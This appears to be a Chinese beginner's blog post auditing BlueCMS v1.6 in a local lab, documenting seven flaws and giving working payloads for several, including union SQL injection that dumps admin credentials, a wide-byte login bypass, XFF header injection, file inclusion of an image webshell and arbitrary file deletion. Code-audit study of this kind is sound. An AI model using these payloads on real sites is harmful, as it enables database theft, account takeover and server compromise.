前言
萌新刚开始学习PHP代码审计,选了个简单的练手CMS
本章使用BlueCMS v1.6作为代码审计
环境为 Win7 + PHPstudy
安装
1.把下好的BlueCMS
源码文件bluecms_src
放到phpStudy
的WWW
目录下
2.访问本地:http://localhost/bluecms_src/
, 能看到项目文件
3.访问地址:http://localhost/bluecms_src/uploads/install/
就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与你的mysql匹配
4.再访问:http://localhost/bluecms_src/uploads/
,可以看到已经安装好了
漏洞
我们使用Seay源代码审计系统自动审计下,我们可以发现有很多漏洞,我们追溯分析查看
1、SQL注入:前台Union注入
漏洞点: ad_js.php
seay审计选中可能存在注入点,就能直接定位到位置
1 | require_once dirname(__FILE__) . '/include/common.inc.php'; |
文件引用了/include/common.inc.php
,跳转过去看看
1 | if(!get_magic_quotes_gpc()) |
这段代码是如果说php在没有开启get_magic_quotes_gpc
的情况下,就将POST,GET,COOKIE,REQUEST传递的参数全部用deep_addslashes
函数处理一遍。
追踪下deep_addslashes()
函数
1 | function deep_addslashes($str) |
deep_addslashes
对传入的数组进行递归地添加转义斜杠,如果不为数组则调用本身的addslashes
进行过滤
回到注入点继续分析, $ad_id
没有使用单引号双引号包括,所以addslashes()
函数不起作用
1 | $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; |
getone()
是自定义函数,getone()
方法位于 /include/mysql.class.php
第61行
1 | function getone($sql, $type=MYSQL_ASSOC){ |
代码作用是执行SQL语句并返回第一条结果
传入的参数$ad_id
先判断是否为空,不为空使用trim
去除首位空格,没有过滤直接带入数据库执行,所以存在SQL
注入,在 ad_js.php
最后一行将结果输出到了html代码注释中
1 | echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n"; |
利用
1 | #判断注入点 |
2、SQL注入:后台登录万能密码
漏洞点:/admin/login.php
该CMS数据库使用gb2312编码,这有可能导致宽字节注入
1 | if($act == 'login'){ |
$admin_name
和$admin_pwd
参数使用isset判断是否存在,如果存在则使用trim去除首末两端空格,不存在则返回空字符串,跟踪check_admin
函数做进一步判断
1 | function check_admin($name, $pwd) |
判断num如果大于0则返回true
这里可以在admin处构造万能密码绕过校验
构造payload需要单引号闭合,但是单引号会触发deep_addslashes()
函数添加一个反斜杠,这时候由于数据库编码使用的是gb2312,可以构造 %df
进行宽字节注入,我们这里的宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%df
和后面的\
变成了一个汉字“运”,而 '
逃逸了出来。
利用
1 | admin %df' or 1=1 # |
3、SQL注入:后台Union注入
漏洞点: /admin/nav.php
1 | elseif($act=='edit') |
$_GER['navid']
没有过滤直接带入数据库执行,所以存在sql注入
利用
1 | #判断字段长度 |
判断回显位置
1 | nav.php?act=edit&navid=-1 union select 1,2,3,4,5,6 |
获取用户名、库名、版本信息
1 | nav.php?act=edit&navid=-1 union select 1,user(),database(),4,version(),6 |
获取表名
1 | nav.php?act=edit&navid=-1 union select 1,2,group_concat(table_name),4,version(),6 from information_schema.tables where table_schema=database() |
获取字段名称
1 | nav.php?act=edit&navid=-1 union select 1,2,group_concat(column_name),4,version(),6 from information_schema.columns where table_name=0x626c75655f61646d696e |
获取admin_name和pwd字段信息
1 | nav.php?act=edit&navid=-1 union select 1,admin_name,pwd,4,version(),6 from blue_admin |
4、XSS:后台新闻发布处存储型
漏洞点:/user.php
1 | elseif ($act == 'do_add_news') { |
在新闻发布处,content
字段未使用 htmlspecialchars
而是使用 filter_data
进行处理,我们跟踪 filter_data
函数分析
1 | //在 "/include/common.fun.php" 找到函数定义代码 |
函数只过滤了script,iframe,frame,meta,link 等,这里可以使用img标签绕过
利用
5、文件包含
漏洞点:user.php
user.php 的支付功能,可以通过 $_POST[‘pay’] 控制文件包含的路径,但是后面拼接了 /index.php
1 | elseif ($act == 'pay'){ |
有两种方式可以截断
绕过方法1:%00 截断
条件:magic_quotes_gpc = Off,PHP版本<5.3.4
绕过方法2:路径长度截断
条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8
利用
由于我php版本为5.6.27,这里降级到5.2.17做测试,测试中%00截断不知道为什么无法利用(满足使用条件),使用路径长度截断
构造payload进行包含
在个人头像处构造图片马上传
包含图片马
这里可以使用fput写一个马进去,文件包含后生成新马用webshell工具管理更方便
6、SQL注入:XFF头注入
漏洞点:/include/common.fun.php
1 | function getip() |
getip()
获取的XFF头中的IP直接返回 $ip
这里跟踪下看看那个地方调用了 getip()
1 | elseif($act == 'send') |
comment.php
中直接将 getip()
插入数据库语句中,没有过滤就执行了,这里存在sql注入
首先需要构造闭合将第一次插入的IP和is_check补全,然后构造二次插入,要闭合原本语句的单引号
利用
1 | //payload |
burp抓包修改
可以看到 content
为回显位,构造payload即可
1 | //获取库名为bluecms |
1 | //获取表名 |
1 | //获取字段名 |
1 | //获取admin字段信息 |
7、任意文件删除
漏洞点: user.php
1 | elseif($act == 'edit_user_info'){ |
在 edit_user_info
更新个人信息中,直接调用 unlink 函数删除 $_POST['face_pic3']
,没有进行相应的检查,导致任意文件删除漏洞
访问 user.php
并且抓包修改act=edit_user_info
,post添加 face_pic3
成功删除根目录下的flag.txt
总结
第一次做CMS代码审计,感觉这套CMS还有很多洞,但是这里没有继续深挖了,自己对PHP的知识还是有点不够,有些代码逻辑还得问问神奇的GPT,之前的PHP知识并不足以支持我审计一套CMS,还得继续学习下PHP相关的知识